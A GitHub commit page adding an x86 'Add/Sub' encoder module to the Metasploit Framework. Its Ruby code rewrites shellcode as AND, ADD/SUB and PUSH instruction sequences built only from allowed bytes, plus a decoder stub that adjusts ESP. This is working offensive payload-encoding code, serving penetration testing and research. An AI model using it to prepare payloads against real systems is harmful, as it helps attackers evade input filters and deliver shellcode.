Skip to content

Commit e48cea4

Browse files
committed
added add_sub encoder for x86 payloads
1 parent d24371e commit e48cea4

File tree

1 file changed

+151
-0
lines changed

1 file changed

+151
-0
lines changed

modules/encoders/x86/add_sub.rb

Lines changed: 151 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,151 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Encoder
11+
12+
Rank = ManualRanking
13+
14+
def initialize
15+
super(
16+
'Name' => 'Add/Sub Encoder',
17+
'Description' => %q{
18+
Encodes payload with add or sub instructions. This idea came
19+
from (offensive-security) muts' hp nnm 7.5.1 exploit.
20+
},
21+
'Author' => 'Melih Sarica ([email protected])',
22+
'Arch' => ARCH_X86,
23+
'License' => MSF_LICENSE,
24+
'Decoder' =>
25+
{
26+
'BlockSize' => 4
27+
})
28+
end
29+
30+
def add_or_sub(avchars)
31+
add = [0x05, 0x50, 0x58, 0x25, 0x54, 0x5C]
32+
sub = [0x2D, 0x50, 0x58, 0x25, 0x54, 0x5C]
33+
return 1 if add.all?{|ch|avchars.include?ch.chr}
34+
return 2 if sub.all?{|ch|avchars.include?ch.chr}
35+
return 0
36+
end
37+
38+
def write_inst(inst, mcode)
39+
@data << inst
40+
if mcode != 0
41+
for i in 0...4
42+
t = mcode & 0x000000FF;
43+
@data << t
44+
mcode = mcode >> 8;
45+
end
46+
end
47+
end
48+
49+
def rand_with_av_chars()
50+
t2 = 0
51+
for i in 0...4
52+
c = @avchars[rand(@avchars.size)].ord.to_i()
53+
t2 = t2 <<8
54+
t2 += c
55+
end
56+
return t2
57+
end
58+
59+
def check_non_av_chars(target)
60+
for i in 0...4
61+
t = target & 0x000000FF;
62+
return true if not @avchars.include?t.chr
63+
target = target >> 8;
64+
end
65+
return false
66+
end
67+
68+
def encode_inst(target)
69+
begin
70+
a = rand_with_av_chars()
71+
b = rand_with_av_chars()
72+
c = target - a - b if @set == 1
73+
c = 0 - target - a - b if @set == 2
74+
c = c%(0xFFFFFFFF+1)
75+
end while check_non_av_chars(c) == true
76+
write_inst(@inst["opcode"], a)
77+
write_inst(@inst["opcode"], b)
78+
write_inst(@inst["opcode"], c)
79+
end
80+
81+
def encode_shellcode(target, z1, z2)
82+
write_inst(@inst["and"], z1);
83+
write_inst(@inst["and"], z2);
84+
encode_inst(target);
85+
write_inst(@inst["push"], 0);
86+
end
87+
88+
def decoder_stub(state)
89+
buf = ""
90+
shellcode = state.buf.split(//)
91+
while shellcode.size>0
92+
buf << shellcode.pop(4).join
93+
end
94+
state.buf = buf
95+
@data = ""
96+
@avchars = ""
97+
for i in 0..255
98+
@avchars = @avchars + i.chr.to_s if not state.badchars.include?i.chr.to_s
99+
end
100+
offset = (datastore['BufferOffset'] || 0).to_i
101+
@inst = {}
102+
@set = add_or_sub(@avchars)
103+
if @set == 0 then
104+
raise RuntimeError, "Bad character list includes essential characters."
105+
exit
106+
elsif @set == 1 then #add
107+
@inst["opcode"] = 0x05
108+
else #sub
109+
@inst["opcode"] = 0x2d
110+
end
111+
@inst["push"] = 0x50
112+
@inst["pop"] = 0x58
113+
@inst["and"] = 0x25
114+
@inst["push_esp"] = 0x54
115+
@inst["pop_esp"] = 0x5c
116+
if state.buf.size%4 != 0 then
117+
raise RuntimeError, "Shellcode size must be divisible by 4, try nop padding."
118+
exit
119+
end
120+
#init
121+
write_inst(@inst["push_esp"], 0)
122+
write_inst(@inst["pop"], 0)
123+
encode_inst(offset)
124+
write_inst(@inst["push"], 0)
125+
write_inst(@inst["pop_esp"], 0)
126+
#zeroing registers
127+
begin
128+
@z1 = rand_with_av_chars()
129+
@z2 = rand_with_av_chars()
130+
end while @z1&@z2 != 0
131+
decoder = @data
132+
return decoder
133+
end
134+
135+
def encode_block(state, block)
136+
#encoding shellcode
137+
@data = ""
138+
target = block.split(//)
139+
return if target.size<4
140+
t = 0
141+
for i in 0..3
142+
t1 = target[3-i][0].ord.to_i
143+
t = t<<8
144+
t = t + t1
145+
end
146+
encode_shellcode(t, @z1, @z2);
147+
encoded = @data
148+
return encoded
149+
end
150+
end
151+

0 commit comments

Comments
 (0)